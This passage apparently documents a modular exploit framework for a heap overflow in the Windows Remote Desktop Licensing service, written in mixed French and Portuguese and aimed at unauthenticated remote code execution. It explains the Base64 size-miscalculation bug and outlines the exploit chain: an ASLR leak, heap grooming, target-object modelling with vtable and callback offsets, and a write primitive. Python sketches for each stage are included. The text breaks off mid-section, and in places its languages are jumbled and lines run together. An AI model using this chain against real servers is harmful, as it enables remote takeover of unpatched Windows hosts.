Framework d'exploitation modulaire pour CVE-2024-38077 (débordement de tas RDL Windows) avec contournement d'ASLR, préparation du tas, génération de chaînes ROP et charges utiles d'injection DLL pour l'exécution de code à distance sans authentification préalable.
Ce document explique chaque composant du framework, pourquoi il existe, et comment fonctionne l'exploitation du heap buffer overflow sur Windows moderne.
Le service Windows Remote Desktop Licensing (lserver.exe) contient un heap buffer overflow dans la fonction CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILIDADE: Cálculo incorreto de tamanho │
├─────────────────────────────────────────────────────────────┤
│ 1. Cliente envia dados Base64 de tamanho N │
│ 2. Servidor calcula: buffer_size = (N / 4) * 3 │
│ 3. Servidor aloca buffer de 'buffer_size' bytes │
│ 4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes │
│ 5. Se N não é múltiplo de 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Exemple concret :
(4001 / 4) * 3 = 1000 * 3 = 3000 octets allouésceil(4001 * 0.75) = 3001 octets écrits┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FondationUtilitaires de bas niveau pour la manipulation de la mémoire.
Les exploits ont besoin de :
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Padrão Cíclico - Para identificar offset de crash
cyclic(100) # Gera sequência De Bruijn
cyclic_find(pattern, value) # Encontra offset do valor
# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10) # → 0x1010 (alinha para 16 bytes)
Problème réel : Vous provoquez un crash et le RIP contient 0x61616171.
cyclic_find(pattern, 0x61616171) → offset exact !leak.py - Bypass d'ASLRAddress Space Layout Randomization : À chaque démarrage/exécution, les adresses changent.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Sans savoir où se trouve la mémoire :
class LeakInfo:
"""Container para endereços vazados"""
heap_base: int # Base do heap
ntdll_base: int # Base do ntdll.dll
kernel32_base: int # Base do kernel32.dll
# ...
class LeakProvider:
"""Orquestrador de fontes de leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Tenta cada fonte até conseguir
| Source | Comment Ça Fonctionne | Quand l'Utiliser |
|---|---|---|
ManualLeakSource | L'utilisateur fournit les adresses | Lab/Debug avec accès à la cible |
ResponseLeakSource | Extrait des réponses RPC | Si le service fuit des pointeurs |
TimingLeakSource | Side-channel temporel | Théorique, très difficile |
Lors de démonstrations/labs, vous pouvez :
--ntdll-base 0x7ffa...Cela simule un leak réel, permettant de tester le reste de la chaîne.
target_model.py - Mappage de la CibleModélisation des structures de données vulnérables et adjacentes.
Overflow ≠ Exploitation. Nous devons savoir :
class VulnerableBuffer:
"""O buffer que vai sofrer overflow"""
allocation_size: int # Quanto foi alocado
write_size: int # Quanto será escrito
overflow_amount: int # Diferença = overflow
def calculate_overflow(input_size):
# Simula o bug de cálculo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Objeto que será corrompido (adjacente no heap)"""
fields: List[StructField]
has_vtable: bool # Tem tabela virtual?
has_function_ptr: bool # Tem ponteiro de função?
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campos mapeados
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True ?Marque les champs utiles pour l'exploitation :
vtable : Si nous l'écrasons, nous contrôlons les appels de méthodecallback : Si nous l'écrasons, nous contrôlons quand le callback est appeléwrite_primitive.py - Écriture ContrôléeL'overflow écrit des données séquentielles. Mais nous avons besoin de :